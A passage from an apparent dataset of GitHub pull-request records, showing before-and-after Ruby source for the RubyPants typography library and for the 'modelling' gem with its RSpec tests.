+educate_dashes_oldschool+, it's\n  # compatible with existing entries written before SmartyPants 1.1,\n  # back when \"<tt>--</tt>\" was only used for em-dashes.  Second,\n  # em-dashes are more common than en-dashes, and so it sort of makes\n  # sense that the shortcut should be shorter to type. (Thanks to\n  # Aaron Swartz for the idea.)\n  #\n  def educate_dashes_inverted(str, prevent_breaks=false)\n    str = educate(str, TRIPLE_DASH, entity(:en_dash), prevent_breaks)\n    educate(str, DOUBLE_DASH, entity(:em_dash), prevent_breaks)\n  end\n\n  # Return the string, with each instance of \"<tt>...</tt>\" translated\n  # to an ellipsis HTML entity. Also converts the case where there are\n  # spaces between the dots.\n  #\n  def educate_ellipses(str, prevent_breaks=false)\n    str = educate(str, RubyPants.n_of(3, '.'), entity(:ellipsis), prevent_breaks)\n    educate(str, /(?<!\\.|\\.[[:space:]])\\.[[:space:]]\\.[[:space:]]\\.(?!\\.|[[:space:]]\\.)/,\n            entity(:ellipsis), prevent_breaks)\n  end\n\n  # Return the string, with \"<tt>``backticks''</tt>\"-style single quotes\n  # translated into HTML curly quote entities.\n  #\n  def educate_backticks(str)\n    str.\n      gsub(\"``\", entity(:double_left_quote)).\n      gsub(\"''\", entity(:double_right_quote))\n  end\n\n  # Return the string, with \"<tt>`backticks'</tt>\"-style single quotes\n  # translated into HTML curly quote entities.\n  #\n  def educate_single_backticks(str)\n    str.\n      gsub(\"`\", entity(:single_left_quote)).\n      gsub(\"'\", entity(:single_right_quote))\n  end\n\n  # Return the string, with \"educated\" curly quote HTML entities.\n  #\n  def educate_quotes(str)\n    punct_class = '[!\"#\\$\\%\\'()*+,\\-.\\/:;<=>?\\@\\[\\\\\\\\\\]\\^_`{|}~]'\n\n    str = str.dup\n\n    # Special case if the very first character is a quote followed by\n    # punctuation at a non-word-break. Close the quotes by brute\n    # force:\n    str.gsub!(/^'(?=#{punct_class}\\B)/,\n              entity(:single_right_quote))\n    str.gsub!(/^\"(?=#{punct_class}\\B)/,\n              entity(:double_right_quote))\n\n    # Special case for double sets of quotes, e.g.:\n    #   <p>He said, \"'Quoted' words in a larger quote.\"</p>\n    str.gsub!(/\"'(?=\\w)/,\n              \"#{entity(:double_left_quote)}#{entity(:single_left_quote)}\")\n    str.gsub!(/'\"(?=\\w)/,\n              \"#{entity(:single_left_quote)}#{entity(:double_left_quote)}\")\n\n    # Special case for decade abbreviations (the '80s):\n    str.gsub!(/'(?=\\d\\ds)/,\n              entity(:single_right_quote))\n\n    close_class = %![^\\ \\t\\r\\n\\\\[\\{\\(\\-]!\n    dec_dashes = \"#{entity(:en_dash)}|#{entity(:em_dash)}\"\n\n    # Get most opening single quotes:\n    str.gsub!(/([[:space:]]|&nbsp;|--|&[mn]dash;|#{dec_dashes}|&#x201[34];)'(?=\\w)/,\n             '\\1' + entity(:single_left_quote))\n\n    # Single closing quotes:\n    str.gsub!(/(#{close_class})'/,\n              '\\1' + entity(:single_right_quote))\n    str.gsub!(/'(\\s|s\\b|$)/,\n              entity(:single_right_quote) + '\\1')\n\n    # Any remaining single quotes should be opening ones:\n    str.gsub!(/'/,\n              entity(:single_left_quote))\n\n    # Get most opening double quotes:\n    str.gsub!(/([[:space:]]|&nbsp;|--|&[mn]dash;|#{dec_dashes}|&#x201[34];)\"(?=\\w)/,\n             '\\1' + entity(:double_left_quote))\n\n    # Double closing quotes:\n    str.gsub!(/(#{close_class})\"/,\n              '\\1' + entity(:double_right_quote))\n    str.gsub!(/\"(\\s|s\\b|$)/,\n              entity(:double_right_quote) + '\\1')\n\n    # Any remaining quotes should be opening ones:\n    str.gsub!(/\"/,\n              entity(:double_left_quote))\n\n    str\n  end\n\n  # Return the string, with each RubyPants HTML entity translated to\n  # its ASCII counterpart.\n  #\n  # Note: This is not reversible (but exactly the same as in SmartyPants)\n  #\n  def stupefy_entities(str)\n    new_str = str.dup\n\n    {\n      :en_dash            => '-',\n      :em_dash            => '--',\n      :single_left_quote  => \"'\",\n      :single_right_quote => \"'\",\n      :double_left_quote  => '\"',\n      :double_right_quote => '\"',\n      :ellipsis           => '...'\n    }.each do |k,v|\n      new_str.gsub!(/#{entity(k)}/, v)\n    end\n\n    new_str\n  end\n\n  # Return an array of the tokens comprising the string. Each token is\n  # either a tag (possibly with nested, tags contained therein, such\n  # as <tt><a href=\"<MTFoo>\"></tt>, or a run of text between\n  # tags. Each element of the array is a two-element array; the first\n  # is either :tag or :text; the second is the actual value.\n  #\n  # Based on the <tt>_tokenize()</tt> subroutine from Brad Choate's\n  # MTRegex plugin.  <http://www.bradchoate.com/past/mtregex.php>\n  #\n  # This is actually the easier variant using tag_soup, as used by\n  # Chad Miller in the Python port of SmartyPants.\n  #\n  def tokenize\n    tag_soup = /([^<]*)(<!--.*?-->|<[^>]*>)/m\n\n    tokens = []\n\n    prev_end = 0\n\n    scan(tag_soup) do\n      tokens << [:text, $1]  if $1 != \"\"\n      tokens << [:tag, $2]\n      prev_end = $~.end(0)\n    end\n\n    if prev_end < size\n      tokens << [:text, self[prev_end..-1]]\n    end\n\n    tokens\n  end\n\n  def default_entities\n    {\n      :single_left_quote  => \"&#8216;\",\n      :double_left_quote  => \"&#8220;\",\n      :single_right_quote => \"&#8217;\",\n      :double_right_quote => \"&#8221;\",\n      :em_dash            => \"&#8212;\",\n      :en_dash            => \"&#8211;\",\n      :ellipsis           => \"&#8230;\",\n      :non_breaking_space => \"&nbsp;\",\n      :word_joiner        => \"&#8288;\",\n    }\n  end\n\n  def named_entities\n    {\n      :single_left_quote  => '&lsquo;',\n      :double_left_quote  => \"&ldquo;\",\n      :single_right_quote => \"&rsquo;\",\n      :double_right_quote => \"&rdquo;\",\n      :em_dash            => \"&mdash;\",\n      :en_dash            => \"&ndash;\",\n      :ellipsis           => \"&hellip;\",\n      :non_breaking_space => \"&nbsp;\",\n      # :word_joiner      => N/A,\n    }\n  end\n\n  def character_entities\n    {\n      :single_left_quote  => \"\\u2018\",\n      :double_left_quote  => \"\\u201C\",\n      :single_right_quote => \"\\u2019\",\n      :double_right_quote => \"\\u201D\",\n      :em_dash            => \"\\u2014\",\n      :en_dash            => \"\\u2013\",\n      :ellipsis           => \"\\u2026\",\n    }\n  end\n\n  def character_spaces\n    {\n      :non_breaking_space => \"\\u00A0\",\n      :word_joiner        => \"\\u2060\",\n    }\n  end\n\n  def entity(key)\n    @entities[key]\n  end\nend\n"}, "files_after": {"lib/rubypants.rb": "require_relative 'version'\n\nclass RubyPants < String\n  extend RubyPantsVersion\n\n  # Create a new RubyPants instance with the text in +string+.\n  #\n  # Allowed elements in the options array:\n  #\n  # 0  :: do nothing\n  # 1  :: enable all, using only em-dash shortcuts\n  # 2  :: enable all, using old school en- and em-dash shortcuts (*default*)\n  # 3  :: enable all, using inverted old school en and em-dash shortcuts\n  # -1 :: stupefy (translate HTML entities to their ASCII-counterparts)\n  #\n  # If you don't like any of these defaults, you can pass symbols to change\n  # RubyPants' behavior:\n  #\n  # <tt>:quotes</tt>         :: quotes\n  # <tt>:backticks</tt>      :: backtick quotes (``double'' only)\n  # <tt>:allbackticks</tt>   :: backtick quotes (``double'' and `single')\n  # <tt>:dashes</tt>         :: dashes\n  # <tt>:oldschool</tt>      :: old school dashes\n  # <tt>:inverted</tt>       :: inverted old school dashes\n  # <tt>:ellipses</tt>       :: ellipses\n  # <tt>:prevent_breaks</tt> :: use nbsp and word-joiner to avoid breaking\n  #                             before dashes and ellipses\n  # <tt>:named_entities</tt> :: used named entities instead of the default\n  #                             decimal entities (see below)\n  # <tt>:convertquotes</tt>  :: convert <tt>&quot;</tt> entities to\n  #                             <tt>\"</tt>\n  # <tt>:stupefy</tt>        :: translate RubyPants HTML entities\n  #                             to their ASCII counterparts.\n  #\n  # In addition, you can customize the HTML entities that will be injected by\n  # passing in a hash for the final argument. The defaults for these entities\n  # are as follows:\n  #\n  # <tt>:single_left_quote</tt>  :: <tt>&#8216;</tt>\n  # <tt>:double_left_quote</tt>  :: <tt>&#8220;</tt>\n  # <tt>:single_right_quote</tt> :: <tt>&#8217;</tt>\n  # <tt>:double_right_quote</tt> :: <tt>&#8221;</tt>\n  # <tt>:em_dash</tt>            :: <tt>&#8212;</tt>\n  # <tt>:en_dash</tt>            :: <tt>&#8211;</tt>\n  # <tt>:ellipsis</tt>           :: <tt>&#8230;</tt>\n  # <tt>:non_breaking_space</tt> :: <tt>&nbsp;</tt>\n  # <tt>:word_joiner</tt>        :: <tt>&#8288;</tt>\n  #\n  # If the <tt>:named_entities</tt> option is used, the default entities are\n  # as follows:\n  #\n  # <tt>:single_left_quote</tt>  :: <tt>&lsquo;</tt>\n  # <tt>:double_left_quote</tt>  :: <tt>&ldquo;</tt>\n  # <tt>:single_right_quote</tt> :: <tt>&rsquo;</tt>\n  # <tt>:double_right_quote</tt> :: <tt>&rdquo;</tt>\n  # <tt>:em_dash</tt>            :: <tt>&mdash;</tt>\n  # <tt>:en_dash</tt>            :: <tt>&ndash;</tt>\n  # <tt>:ellipsis</tt>           :: <tt>&hellip;</tt>\n  # <tt>:non_breaking_space</tt> :: <tt>&nbsp;</tt>\n  # <tt>:word_joiner</tt>        :: <tt>&#8288;</tt>\n  #\n  # If the <tt>:character_entities</tt> option is used, RubyPants will\n  # emit Unicode characters directly, rather than HTML entities. By default\n  # this excludes the space characters (non-breaking space and\n  # word-joiner). To additionally emit Unicode space characters, use the\n  # <tt>:character_spaces</tt> option.\n  #\n  def initialize(string, options=[2], entities = {})\n    super string\n\n    @options = [*options]\n    @entities = default_entities\n    @entities.merge!(named_entities)     if @options.include?(:named_entities)\n    @entities.merge!(character_entities) if @options.include?(:character_entities)\n    @entities.merge!(character_spaces)   if @options.include?(:character_spaces)\n    @entities.merge!(entities)\n  end\n\n  # Apply SmartyPants transformations.\n  def to_html\n    do_quotes = do_backticks = do_dashes = do_ellipses = do_stupify = nil\n    convert_quotes = prevent_breaks = nil\n\n    if @options.include?(0)\n      # Do nothing.\n      return self\n    elsif @options.include?(1)\n      # Do everything, turn all options on.\n      do_quotes = do_backticks = do_ellipses = true\n      do_dashes = :normal\n    elsif @options.include?(2)\n      # Do everything, turn all options on, use old school dash shorthand.\n      do_quotes = do_backticks = do_ellipses = true\n      do_dashes = :oldschool\n    elsif @options.include?(3)\n      # Do everything, turn all options on, use inverted old school\n      # dash shorthand.\n      do_quotes = do_backticks = do_ellipses = true\n      do_dashes = :inverted\n    elsif @options.include?(-1)\n      do_stupefy = true\n    end\n\n    # Explicit flags override numeric flag groups.\n    do_quotes      = true       if @options.include?(:quotes)\n    do_backticks   = true       if @options.include?(:backticks)\n    do_backticks   = :both      if @options.include?(:allbackticks)\n    do_dashes      = :normal    if @options.include?(:dashes)\n    do_dashes      = :oldschool if @options.include?(:oldschool)\n    do_dashes      = :inverted  if @options.include?(:inverted)\n    prevent_breaks = true       if @options.include?(:prevent_breaks)\n    do_ellipses    = true       if @options.include?(:ellipses)\n    convert_quotes = true       if @options.include?(:convertquotes)\n    do_stupefy     = true       if @options.include?(:stupefy)\n\n    # Parse the HTML\n    tokens = tokenize\n\n    # Keep track of when we're inside <pre> or <code> tags.\n    in_pre = nil\n\n    # Here is the result stored in.\n    result = \"\"\n\n    # This is a cheat, used to get some context for one-character\n    # tokens that consist of just a quote char. What we do is remember\n    # the last character of the previous text token, to use as context\n    # to curl single- character quote tokens correctly.\n    prev_token_last_char = nil\n\n    tokens.each do |token|\n      if token.first == :tag\n        result << token[1]\n        if token[1].end_with? '/>'\n          # ignore self-closing tags\n        elsif token[1] =~ %r!\\A<(/?)(pre|code|kbd|script|style|math)[\\s>]!\n          if $1 == '' && ! in_pre\n            in_pre = $2\n          elsif $1 == '/' && $2 == in_pre\n            in_pre = nil\n          end\n        end\n      else\n        t = token[1]\n\n        # Remember last char of this token before processing.\n        last_char = t[-1].chr\n\n        unless in_pre\n          t = process_escapes t\n\n          t.gsub!(/&quot;/, '\"') if convert_quotes\n\n          if do_dashes\n            t = educate_dashes t, prevent_breaks           if do_dashes == :normal\n            t = educate_dashes_oldschool t, prevent_breaks if do_dashes == :oldschool\n            t = educate_dashes_inverted t, prevent_breaks  if do_dashes == :inverted\n          end\n\n          t = educate_ellipses t, prevent_breaks if do_ellipses\n\n          # Note: backticks need to be processed before quotes.\n          if do_backticks\n            t = educate_backticks t\n            t = educate_single_backticks t if do_backticks == :both\n          end\n\n          if do_quotes\n            if t == \"'\"\n              # Special case: single-character ' token\n              if prev_token_last_char =~ /\\S/\n                t = entity(:single_right_quote)\n              else\n                t = entity(:single_left_quote)\n              end\n            elsif t == '\"'\n              # Special case: single-character \" token\n              if prev_token_last_char =~ /\\S/\n                t = entity(:double_right_quote)\n              else\n                t = entity(:double_left_quote)\n              end\n            else\n              # Normal case:\n              t = educate_quotes t\n            end\n          end\n\n          t = stupefy_entities t if do_stupefy\n        end\n\n        prev_token_last_char = last_char\n        result << t\n      end\n    end\n\n    # Done\n    result\n  end\n\n  protected\n\n  # Return the string, with after processing the following backslash\n  # escape sequences. This is useful if you want to force a \"dumb\" quote\n  # or other character to appear.\n  #\n  # Escaped are:\n  #      \\\\    \\\"    \\'    \\.    \\-    \\`\n  #\n  def process_escapes(str)\n    str.\n      gsub('\\\\\\\\', '&#92;').\n      gsub('\\\"',   '&#34;').\n      gsub(\"\\\\\\'\", '&#39;').\n      gsub('\\.',   '&#46;').\n      gsub('\\-',   '&#45;').\n      gsub('\\`',   '&#96;')\n  end\n\n  def self.n_of(n, x)\n    x = Regexp.escape(x)\n    /(?<!#{x})   # not preceded by x\n     #{x}{#{n}}  # n of x\n     (?!#{x})    # not followed by x\n    /x\n  end\n\n  DOUBLE_DASH = n_of(2, '-')\n  TRIPLE_DASH = n_of(3, '-')\n\n  # Return +str+ replacing all +patt+ with +repl+. If +prevent_breaks+ is true,\n  # then replace spaces preceding +patt+ with a non-breaking space, and if there\n  # are no spaces, then insert a word-joiner.\n  #\n  def educate(str, patt, repl, prevent_breaks)\n    patt = /(?<spaces>[[:space:]]*)#{patt}/\n    str.gsub(patt) do\n      spaces = if prevent_breaks && $~['spaces'].length > 0\n                 entity(:non_breaking_space) # * $~['spaces'].length\n               elsif prevent_breaks\n                 entity(:word_joiner)\n               else\n                 $~['spaces']\n               end\n      spaces + repl\n    end\n  end\n\n  # Return the string, with each instance of \"<tt>--</tt>\" translated to an\n  # em-dash HTML entity.\n  #\n  def educate_dashes(str, prevent_breaks=false)\n    educate(str, DOUBLE_DASH, entity(:em_dash), prevent_breaks)\n  end\n\n  # Return the string, with each instance of \"<tt>--</tt>\" translated to an\n  # en-dash HTML entity, and each \"<tt>---</tt>\" translated to an\n  # em-dash HTML entity.\n  #\n  def educate_dashes_oldschool(str, prevent_breaks=false)\n    str = educate(str, TRIPLE_DASH, entity(:em_dash), prevent_breaks)\n    educate(str, DOUBLE_DASH, entity(:en_dash), prevent_breaks)\n  end\n\n  # Return the string, with each instance of \"<tt>--</tt>\" translated\n  # to an em-dash HTML entity, and each \"<tt>---</tt>\" translated to\n  # an en-dash HTML entity. Two reasons why: First, unlike the en- and\n  # em-dash syntax supported by +educate_dashes_oldschool+, it's\n  # compatible with existing entries written before SmartyPants 1.1,\n  # back when \"<tt>--</tt>\" was only used for em-dashes.  Second,\n  # em-dashes are more common than en-dashes, and so it sort of makes\n  # sense that the shortcut should be shorter to type. (Thanks to\n  # Aaron Swartz for the idea.)\n  #\n  def educate_dashes_inverted(str, prevent_breaks=false)\n    str = educate(str, TRIPLE_DASH, entity(:en_dash), prevent_breaks)\n    educate(str, DOUBLE_DASH, entity(:em_dash), prevent_breaks)\n  end\n\n  # Return the string, with each instance of \"<tt>...</tt>\" translated\n  # to an ellipsis HTML entity. Also converts the case where there are\n  # spaces between the dots.\n  #\n  def educate_ellipses(str, prevent_breaks=false)\n    str = educate(str, RubyPants.n_of(3, '.'), entity(:ellipsis), prevent_breaks)\n    educate(str, /(?<!\\.|\\.[[:space:]])\\.[[:space:]]\\.[[:space:]]\\.(?!\\.|[[:space:]]\\.)/,\n            entity(:ellipsis), prevent_breaks)\n  end\n\n  # Return the string, with \"<tt>``backticks''</tt>\"-style single quotes\n  # translated into HTML curly quote entities.\n  #\n  def educate_backticks(str)\n    str.\n      gsub(\"``\", entity(:double_left_quote)).\n      gsub(\"''\", entity(:double_right_quote))\n  end\n\n  # Return the string, with \"<tt>`backticks'</tt>\"-style single quotes\n  # translated into HTML curly quote entities.\n  #\n  def educate_single_backticks(str)\n    str.\n      gsub(\"`\", entity(:single_left_quote)).\n      gsub(\"'\", entity(:single_right_quote))\n  end\n\n  # Return the string, with \"educated\" curly quote HTML entities.\n  #\n  def educate_quotes(str)\n    punct_class = '[!\"#\\$\\%\\'()*+,\\-.\\/:;<=>?\\@\\[\\\\\\\\\\]\\^_`{|}~]'\n\n    str = str.dup\n\n    # Special case if the very first character is a quote followed by\n    # punctuation at a non-word-break. Close the quotes by brute\n    # force:\n    str.gsub!(/^'(?=#{punct_class}\\B)/,\n              entity(:single_right_quote))\n    str.gsub!(/^\"(?=#{punct_class}\\B)/,\n              entity(:double_right_quote))\n\n    # Special case for double sets of quotes, e.g.:\n    #   <p>He said, \"'Quoted' words in a larger quote.\"</p>\n    str.gsub!(/\"'(?=\\w)/,\n              \"#{entity(:double_left_quote)}#{entity(:single_left_quote)}\")\n    str.gsub!(/'\"(?=\\w)/,\n              \"#{entity(:single_left_quote)}#{entity(:double_left_quote)}\")\n\n    # Special case for decade abbreviations (the '80s):\n    str.gsub!(/'(?=\\d\\ds)/,\n              entity(:single_right_quote))\n\n    close_class = %![^\\ \\t\\r\\n\\\\[\\{\\(\\-]!\n    dec_dashes = \"#{entity(:en_dash)}|#{entity(:em_dash)}\"\n\n    # Get most opening single quotes:\n    str.gsub!(/([[:space:]]|&nbsp;|--|&[mn]dash;|#{dec_dashes}|&#x201[34];)'(?=\\w)/,\n             '\\1' + entity(:single_left_quote))\n\n    # Single closing quotes:\n    str.gsub!(/(#{close_class})'/,\n              '\\1' + entity(:single_right_quote))\n    str.gsub!(/'(\\s|s\\b|$)/,\n              entity(:single_right_quote) + '\\1')\n\n    # Any remaining single quotes should be opening ones:\n    str.gsub!(/'/,\n              entity(:single_left_quote))\n\n    # Get most opening double quotes:\n    str.gsub!(/([[:space:]]|&nbsp;|--|&[mn]dash;|#{dec_dashes}|&#x201[34];)\"(?=\\w)/,\n             '\\1' + entity(:double_left_quote))\n\n    # Double closing quotes:\n    str.gsub!(/(#{close_class})\"/,\n              '\\1' + entity(:double_right_quote))\n    str.gsub!(/\"(\\s|s\\b|$)/,\n              entity(:double_right_quote) + '\\1')\n\n    # Any remaining quotes should be opening ones:\n    str.gsub!(/\"/,\n              entity(:double_left_quote))\n\n    str\n  end\n\n  # Return the string, with each RubyPants HTML entity translated to\n  # its ASCII counterpart.\n  #\n  # Note: This is not reversible (but exactly the same as in SmartyPants)\n  #\n  def stupefy_entities(str)\n    new_str = str.dup\n\n    {\n      :en_dash            => '-',\n      :em_dash            => '--',\n      :single_left_quote  => \"'\",\n      :single_right_quote => \"'\",\n      :double_left_quote  => '\"',\n      :double_right_quote => '\"',\n      :ellipsis           => '...'\n    }.each do |k,v|\n      new_str.gsub!(/#{entity(k)}/, v)\n    end\n\n    new_str\n  end\n\n  # Return an array of the tokens comprising the string. Each token is\n  # either a tag (possibly with nested, tags contained therein, such\n  # as <tt><a href=\"<MTFoo>\"></tt>, or a run of text between\n  # tags. Each element of the array is a two-element array; the first\n  # is either :tag or :text; the second is the actual value.\n  #\n  # Based on the <tt>_tokenize()</tt> subroutine from Brad Choate's\n  # MTRegex plugin.  <http://www.bradchoate.com/past/mtregex.php>\n  #\n  # This is actually the easier variant using tag_soup, as used by\n  # Chad Miller in the Python port of SmartyPants.\n  #\n  def tokenize\n    tag_soup = /([^<]*)(<!--.*?-->|<[^>]*>)/m\n\n    tokens = []\n\n    prev_end = 0\n\n    scan(tag_soup) do\n      tokens << [:text, $1] if $1 != \"\"\n      tokens << [:tag, $2]\n      prev_end = $~.end(0)\n    end\n\n    if prev_end < size\n      tokens << [:text, self[prev_end..-1]]\n    end\n\n    tokens\n  end\n\n  def default_entities\n    {\n      :single_left_quote  => \"&#8216;\",\n      :double_left_quote  => \"&#8220;\",\n      :single_right_quote => \"&#8217;\",\n      :double_right_quote => \"&#8221;\",\n      :em_dash            => \"&#8212;\",\n      :en_dash            => \"&#8211;\",\n      :ellipsis           => \"&#8230;\",\n      :non_breaking_space => \"&nbsp;\",\n      :word_joiner        => \"&#8288;\",\n    }\n  end\n\n  def named_entities\n    {\n      :single_left_quote  => '&lsquo;',\n      :double_left_quote  => \"&ldquo;\",\n      :single_right_quote => \"&rsquo;\",\n      :double_right_quote => \"&rdquo;\",\n      :em_dash            => \"&mdash;\",\n      :en_dash            => \"&ndash;\",\n      :ellipsis           => \"&hellip;\",\n      :non_breaking_space => \"&nbsp;\",\n      # :word_joiner      => N/A,\n    }\n  end\n\n  def character_entities\n    {\n      :single_left_quote  => \"\\u2018\",\n      :double_left_quote  => \"\\u201C\",\n      :single_right_quote => \"\\u2019\",\n      :double_right_quote => \"\\u201D\",\n      :em_dash            => \"\\u2014\",\n      :en_dash            => \"\\u2013\",\n      :ellipsis           => \"\\u2026\",\n    }\n  end\n\n  def character_spaces\n    {\n      :non_breaking_space => \"\\u00A0\",\n      :word_joiner        => \"\\u2060\",\n    }\n  end\n\n  def entity(key)\n    @entities[key]\n  end\nend\n"}}
{"repo": "ryan-allen/modelling", "pr_number": 3, "title": "Use GitHub Actions for CI", "state": "closed", "merged_at": null, "additions": 51, "deletions": 32, "files_changed": ["lib/modelling.rb", "spec/modelling_spec.rb"], "files_before": {"lib/modelling.rb": "require 'modelling/version'\nrequire 'ostruct'\n\nmodule Modelling\n\n  def self.included(receiver)\n    receiver.extend ClassMethods\n  end\n\n  module ClassMethods\n    def inherited(descendant)\n      descendant.instance_variable_set(:@members, members.dup)\n      super\n    end\n\n    def attributes(*args)\n      generate_accessors_from_args(args, Proc.new { nil })\n    end\n\n    def collections(*args)\n      generate_accessors_from_args(args, Proc.new { Array.new })\n    end\n\n    def maps(*args)\n      generate_accessors_from_args(args, Proc.new { Hash.new })\n    end\n\n    def structs(*args)\n      generate_accessors_from_args(args, Proc.new { OpenStruct.new })\n    end\n\n    def members\n      @members ||= {}\n    end\n    \n    def accessors\n      @accessors ||= []\n    end\n\n    private\n\n    def generate_accessors_from_args(args, default_initializer)\n      names_to_initializer = args.last.is_a?(Hash) ? args.pop : {}\n      args.each do |name|\n        names_to_initializer[name] = default_initializer\n      end\n      generate_accessors(names_to_initializer)\n    end\n\n    def generate_accessors(names_to_initializer)\n      names_to_initializer.each do |name, initializer|\n        create_accessor(name)\n        if initializer.is_a?(Proc)\n          members[name] = initializer\n        else\n          members[name] = Proc.new { initializer.new }\n        end\n      end\n    end\n\n    def create_accessor(name)\n      accessors << name\n      instance_eval { attr_accessor name }\n    end\n\n  end\n\n  def members\n    self.class.members\n  end\n\n  def initialize(args = {})\n    members.each do |accessor, initializer|\n      if initializer.arity > 0\n        send \"#{accessor}=\", initializer.call(self)\n      else\n        send \"#{accessor}=\", initializer.call\n      end\n    end\n    args.each { |name, value| send \"#{name}=\", value }\n  end\n  \n  def attributes\n    hash = {}\n    self.class.accessors.each do |method_name|\n      hash[method_name] = send(method_name)\n    end\n    hash\n  end\n  \n  def inspect\n    attributes_as_nice_string = attributes.collect { |name, value|\n      \"#{name}: #{attribute_for_inspect(value)}\"\n    }.compact.join(\", \")\n    \"#<#{self.class} #{attributes_as_nice_string}>\"\n  end\n  \n  def attribute_for_inspect(value)\n    if value.is_a?(String) && value.length > 50\n      \"#{value[0..50]}...\".inspect\n    elsif value.is_a?(Date) || value.is_a?(Time)\n      %(\"#{value.to_s(:db)}\")\n    elsif value.class.included_modules.include?(Modelling)\n      \"#<#{value.class.to_s}>\"\n    else\n      value.inspect\n    end\n  end\n  \nend", "spec/modelling_spec.rb": "require 'bundler'\nBundler.require\n$: << '.'\nrequire 'modelling'\n\nclass User\n  include Modelling\n  attributes :name, :age\n  collections :fav_colours, :biggest_gripes, :test => lambda { 3 }\nend\n\nclass NonSpecificUser < User\nend\n\nclass MyArray < Array; end\nclass MyHash < Hash; end\n\nclass Car\n  include Modelling\n  attributes :name => Proc.new { |car| String.new(car.class.to_s) }\n  collections :doors => MyArray\nend\n\nclass SuperCar < Car\n  attributes :bhp => Proc.new { 400 }\nend\n\nclass Site\n  include Modelling\n  maps :users => MyHash\nend\n\nclass Bike\n  include Modelling\n  attributes :manufacturer\n  maps :stickers\n  structs :features\nend\n\nclass LambdaTest\n  include Modelling\n  attributes :lambda => lambda { \"boo\" }\nend\n\ndescribe Modelling do\n\n  specify 'user has name' do\n    user = User.new\n    user.name = 'Ryan'\n    user.name.should  eq 'Ryan'\n  end\n\n  specify 'user has age' do\n    user = User.new\n    user.age = 24\n    user.age.should  eq 24\n  end\n\n  specify 'user has fav colours collection' do\n    user = User.new\n    user.fav_colours = [:green, :yellow]\n    user.fav_colours.should  eq [:green, :yellow]\n  end\n\n  specify 'user has biggest gripes collection' do\n    user = User.new\n    user.biggest_gripes = [:mediocrity, :CUB_beer]\n    user.biggest_gripes.should  eq [:mediocrity, :CUB_beer]\n  end\n\n  specify 'attributes are initialized as nil' do\n    user = User.new\n    user.name.should be_nil\n    user.age.should be_nil\n  end\n\n  specify 'collections are initialized as empty array' do\n    user = User.new\n    user.fav_colours.should be_empty\n    user.biggest_gripes.should be_empty\n  end\n\n  it 'can initialize with attributes' do\n    user = User.new(:name => 'Ryan')\n    user.name.should  eq 'Ryan'\n  end\n\n  it 'can initialize with collections' do\n    user = User.new(:biggest_gripes => [:mediocrity, :CUB_beer])\n    user.biggest_gripes.should  eq [:mediocrity, :CUB_beer]\n  end\n\n  specify 'car has doors and all is good' do\n    car = Car.new\n    car.doors.should be_empty\n  end\n\n  specify 'bike does not bunk on having no collection' do\n    bike = Bike.new(:manufacturer => 'Kawasaki')\n    # if nothing is rased, we fixed the bug\n  end\n\n  specify 'bike has map of stickers' do\n    Bike.new.stickers.should be_empty\n  end\n  \n  specify 'cars doors is a my array' do\n    Car.new.doors.should be_instance_of MyArray\n  end\n  \n  specify 'sites users is a my hash' do\n    Site.new.users.should be_instance_of MyHash\n  end\n  \n  it 'can initialize with proc and get reference to new instance' do\n    car = Car.new\n    car.name.should  eq String.new(car.class.to_s)\n  end\n\n  specify 'bike has features' do\n    bike = Bike.new\n    bike.features.should be_instance_of OpenStruct\n  end\n\n  it 'doesnt fail when lambdas with no args are used' do\n    LambdaTest.new.lambda.should  eq 'boo'\n  end\n  \n  specify 'tracks list of accessors' do\n    User.accessors.should include :name, :age\n  end\n  \n  specify 'provides a Hash of attributes and values' do\n    User.new.attributes.key?(:name).should be_true\n    User.new.attributes.key?(:age).should be_true\n    User.new(:name => \"Joe\").attributes[:name].should eq \"Joe\"\n  end\n  \n  specify 'converts the attributes hash to a string for inspect' do\n    u = User.new(:name => \"Joe\")\n    u.inspect.should == \"#<User name: \\\"Joe\\\", age: nil, test: 3, fav_colours: [], biggest_gripes: []>\"\n  end\n  \n  context 'circular references' do\n    \n    before do\n      class FirstModel\n        include Modelling\n        attributes :test => lambda { |me| OtherModel.new(me) }\n      end\n\n      class OtherModel\n        include Modelling\n        attributes :owner\n        def initialize(owner)\n          @owner = owner\n        end\n      end\n    end\n    \n    it 'should not raise an error when inspecting' do\n      expect { FirstModel.new.inspect }.should_not raise_error(SystemStackError)\n    end\n    \n    it 'should show the class name instead of inspecting referenced models' do\n      FirstModel.new.inspect.should include(\"#<OtherModel>\")\n    end\n    \n  end\n  \n  \n  \n  context 'inheritence' do\n    let(:car) { Car.new }\n    let(:super_car) { SuperCar.new }\n\n    it 'inherits attributes' do\n      super_car.doors.should be_instance_of MyArray\n      super_car.name.should  eq \"SuperCar\"\n    end\n\n    it 'allows extra attributes' do\n      super_car.bhp.should  eq 400\n    end\n\n    it 'doesnt mess up the super classes members' do\n      car.should_not respond_to(:bhp)\n      car.should respond_to(:doors)\n      car.should respond_to(:name)\n    end\n\n    specify 'non specific user inherits attributes' do\n      user = NonSpecificUser.new(:name => 'Ryan you cocktard')\n      user.name.should  eq 'Ryan you cocktard'\n    end\n  end\nend\n"}, "files_after": {"lib/modelling.rb": "require 'modelling/version'\nrequire 'ostruct'\nrequire 'time'\n\nmodule Modelling\n\n  def self.included(receiver)\n    receiver.extend ClassMethods\n  end\n\n  module ClassMethods\n    def inherited(descendant)\n      descendant.instance_variable_set(:@members, members.dup)\n      super\n    end\n\n    def attributes(*args)\n      generate_accessors_from_args(args, Proc.new { nil })\n    end\n\n    def collections(*args)\n      generate_accessors_from_args(args, Proc.new { Array.new })\n    end\n\n    def maps(*args)\n      generate_accessors_from_args(args, Proc.new { Hash.new })\n    end\n\n    def structs(*args)\n      generate_accessors_from_args(args, Proc.new { OpenStruct.new })\n    end\n\n    def members\n      @members ||= {}\n    end\n    \n    def accessors\n      @accessors ||= []\n    end\n\n    private\n\n    def generate_accessors_from_args(args, default_initializer)\n      names_to_initializer = args.last.is_a?(Hash) ? args.pop : {}\n      args.each do |name|\n        names_to_initializer[name] = default_initializer\n      end\n      generate_accessors(names_to_initializer)\n    end\n\n    def generate_accessors(names_to_initializer)\n      names_to_initializer.each do |name, initializer|\n        create_accessor(name)\n        if initializer.is_a?(Proc)\n          members[name] = initializer\n        else\n          members[name] = Proc.new { initializer.new }\n        end\n      end\n    end\n\n    def create_accessor(name)\n      accessors << name\n      instance_eval { attr_accessor name }\n    end\n\n  end\n\n  def members\n    self.class.members\n  end\n\n  def initialize(args = {})\n    members.each do |accessor, initializer|\n      if initializer.arity > 0\n        send \"#{accessor}=\", initializer.call(self)\n      else\n        send \"#{accessor}=\", 